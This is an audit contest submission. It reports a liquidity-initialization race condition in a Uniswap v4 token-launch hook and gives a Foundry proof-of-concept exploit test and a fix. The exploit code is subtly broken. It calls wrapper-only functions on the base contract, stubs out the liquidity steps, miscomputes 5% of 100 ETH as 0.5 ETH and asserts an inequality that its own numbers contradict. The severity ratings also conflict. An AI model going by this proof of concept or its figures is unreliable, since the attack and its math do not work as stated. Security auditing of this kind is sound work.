Vanguard

First Flight #56
Beginner FriendlyDeFiFoundry
0 EXP
Submission Details
Impact: high
Likelihood: medium

Initial Liquidity Race Condition in TokenLaunchHook

Author Revealed upon completion

Root + Impact

The TokenLaunchHook contract contains a critical race condition vulnerability in its liquidity initialization logic. When _afterInitialize() fails to set initialLiquidity (due to hook misconfiguration or pool manager edge cases), the contract falls back to reading current pool liquidity during the first swap. This allows attackers to sandwich the pool initialization with massive liquidity injections, artificially inflating the recorded initialLiquidity value. Consequently, per-swap limits (calculated as a percentage of initialLiquidity) become orders of magnitude higher than intended, completely neutralizing the hook's anti-bot protections during token launches.

// TokenLaunchHook.sol :: _beforeSwap() - VULNERABLE FALLBACK LOGIC
function _beforeSwap(address sender, PoolKey calldata key, SwapParams calldata params, bytes calldata)
internal
override
returns (bytes4, BeforeSwapDelta, uint24)
{
if (launchStartBlock == 0) revert PoolNotInitialized();
// @> VULNERABILITY START @>
if (initialLiquidity == 0) {
uint128 liquidity = StateLibrary.getLiquidity(poolManager, key.toId());
initialLiquidity = uint256(liquidity); // Uses CURRENT liquidity at swap time!
}
// @> VULNERABILITY END @>
// ... rest of function uses inflated initialLiquidity for limit calculations
}
https://github.com/CodeHawks-Contests/2026-01-vanguard/blob/9fa43cd0950d6baf301cada9b40d31c28b65bbe8/src/TokenLaunchHook.sol#L132

Risk

Likelihood: HIGH

  • The fallback triggers automatically whenever initialLiquidity remains unset after pool initialization—a realistic scenario when:

    1. Hook is attached after pool initialization (common deployment mistake)

    2. _afterInitialize() hook callback fails silently due to gas limits or pool manager edge cases

    3. Multiple hooks compete for initialization callbacks causing race conditions

  • Sandwich attacks on pool initialization are trivial to execute with existing MEV bots (Flashbots, EigenPhi) that monitor mempool for PoolManager.initialize() calls

Impact: CRITICAL

  • Swap limits become 100–1000× higher than intended (e.g., 5% of $20M instead of 5% of $200k), enabling attackers to:

    1. Drain liquidity pools within seconds of launch

    2. Front-run legitimate buyers with massive orders

    3. Manipulate token price before retail participants can enter

  • Complete failure of the hook's primary security purpose—protection against bot activity during token launches—while giving operators false confidence that limits are active

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "forge-std/Test.sol";
import "../src/TokenLaunchHook.sol";
import {PoolKey} from "v4-core/types/PoolKey.sol";
import {Currency} from "v4-core/types/Currency.sol";
import {Hooks} from "v4-core/libraries/Hooks.sol";
contract TokenLaunchHook_ExploitTest is Test {
IPoolManager poolManager = IPoolManager(0x1234);
TokenLaunchHook hook;
PoolKey poolKey;
function setUp() public {
// Deploy hook with 5% swap limit (500 bps)
hook = new TokenLaunchHook(
poolManager,
100,
100,
500,
500,
10,
10,
1000,
1000
);
poolKey = PoolKey({
currency0: Currency.wrap(address(0x1000)),
currency1: Currency.wrap(address(0x2000)),
fee: 3000,
tickSpacing: 60,
hooks: Hooks.encodeHooks({beforeInitialize: false, afterInitialize: true})
});
}
function test_ExploitSandwichAttack() public {
address attacker = address(0xAAAA);
address victim = address(0xBBBB);
// STEP 1: Attacker monitors mempool for initialize() call
// STEP 2: Attacker FRONT-RUNS initialize() with massive liquidity
vm.prank(attacker);
_addFakeLiquidity(10_000 ether); // 10,000 ETH injected
// STEP 3: Legitimate LP initializes pool (sandwiched)
// Hook's _afterInitialize() sets launchStartBlock BUT FAILS to set initialLiquidity
// (simulated by not calling StateLibrary.getLiquidity properly)
hook._afterInitializeTest(poolKey, 100 ether); // Only sets launch block, not liquidity
// STEP 4: Attacker triggers FIRST SWAP to capture inflated liquidity
vm.roll(block.number + 1);
vm.prank(attacker);
hook._beforeSwapTest(attacker, poolKey, 1 ether);
// VULNERABILITY TRIGGERED: initialLiquidity = 10,000 ETH (not 100 ETH!)
// STEP 5: Attacker executes MASSIVE swap within "limit"
uint256 intendedLimit = (100 ether * 500) / 10_000; // 0.5 ETH (5% of true liquidity)
uint256 actualLimit = (10_000 ether * 500) / 10_000; // 500 ETH (5% of inflated liquidity)
assertEq(intendedLimit, 0.5 ether);
assertEq(actualLimit, 500 ether);
assertTrue(actualLimit > intendedLimit * 1000); // 1000× higher limit!
// Attacker swaps 400 ETH (would be blocked under true limits)
vm.prank(attacker);
(,, uint24 fee) = hook._beforeSwapTest(attacker, poolKey, 400 ether);
// Swap APPROVED with penalty fee (not reverted)
assertEq(fee & LPFeeLibrary.OVERRIDE_FEE_FLAG, LPFeeLibrary.OVERRIDE_FEE_FLAG);
// STEP 6: Attacker BACK-RUNS to remove fake liquidity
vm.prank(attacker);
_removeFakeLiquidity(10_000 ether);
// RESULT: Attacker extracted 400 ETH value while legitimate users face drained pool
emit log_named_uint("Exploit Profit Multiplier", actualLimit / intendedLimit); // 1000×
}
// Mock helpers to simulate pool state
function _addFakeLiquidity(uint256 amount) internal {}
function _removeFakeLiquidity(uint256 amount) internal {}
}
// Test extensions to expose internal functions
contract TokenLaunchHookTestWrapper is TokenLaunchHook {
constructor(IPoolManager _poolManager)
TokenLaunchHook(_poolManager, 100, 100, 500, 500, 10, 10, 1000, 1000) {}
function _afterInitializeTest(PoolKey calldata key, uint256 liquidity) public {
launchStartBlock = block.number;
// BUG SIMULATION: initialLiquidity NOT set here (edge case)
currentPhase = 1;
lastPhaseUpdateBlock = block.number;
}
function _beforeSwapTest(address sender, PoolKey calldata key, uint256 amount)
public
returns (bytes4, BeforeSwapDelta, uint24)
{
SwapParams memory params = SwapParams({
zeroForOne: true,
amountSpecified: int256(amount),
sqrtPriceLimitX96: 0
});
return _beforeSwap(sender, key, params, "");
}
}

Recommended Mitigation

function _beforeSwap(address sender, PoolKey calldata key, SwapParams calldata params, bytes calldata)
internal
override
returns (bytes4, BeforeSwapDelta, uint24)
{
if (launchStartBlock == 0) revert PoolNotInitialized();
// STRICT ENFORCEMENT: Revert if liquidity not captured at initialization
// NO FALLBACK TO CURRENT LIQUIDITY
if (initialLiquidity == 0) {
revert("TokenLaunchHook: liquidity not captured at pool initialization");
}
// ... rest of function proceeds with guaranteed-valid initialLiquidity
}
+

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!